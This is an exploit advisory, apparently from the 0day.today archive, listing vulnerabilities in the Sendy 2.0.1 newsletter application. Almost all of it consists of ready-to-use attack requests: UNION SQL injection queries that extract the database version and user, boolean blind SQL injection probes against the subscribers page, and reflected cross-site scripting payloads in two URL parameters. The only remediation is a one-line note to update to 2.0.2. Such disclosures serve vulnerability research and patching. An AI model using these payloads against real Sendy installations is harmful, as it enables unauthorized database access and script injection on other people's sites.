Sendy 2.0.1 - Multiple Vulnerabilities

###################################################
# Title : Sendy 2.0.1 - Multiple Vulnerabilities
# Author : ZwX
# Vendor Homepage: http://sendy.co/
# Software Link: http://sendy.co/
# Tested on : Windows 7
####################################################

------------------------------
[!]  SQL Injection Exploit [!]  
------------------------------

http://Localhost/send-to?i=2&c=-37 union select 1,2#
http://Localhost/send-to?i=2&c=-37 union select 1,version()#
http://Localhost/send-to?i=2&c=-37 union select 1,user()#

------------------------------
[!]  SQL Blind Injection   [!]  
------------------------------

# Detected Error :
http://Localhost/subscribers?i=1&l=3 and 1=0# -> False
http://Localhost/subscribers?i=1&l=3 and 1=1# -> True

# Detected Version :
http://Localhost/subscribers?i=1&l=3 and substring(@@version, 1, 1)=4# -> False
http://Localhost/subscribers?i=1&l=3 and substring(@@version, 1, 1)=5# -> True

------------------------------
[!]  Cross site Scripting  [!]  
------------------------------

http://Localhost/send-to?i=2&c=37"</script><script>alert("xss")</script>
http://Localhost/search-all-lists?i=2&s="</script><script>alert("xss")</script>

-------------------------------
[!]        Solution         [!]  
-------------------------------

Udapte CMS Sendy 2.0.2

#  0day.today [2018-01-01]  #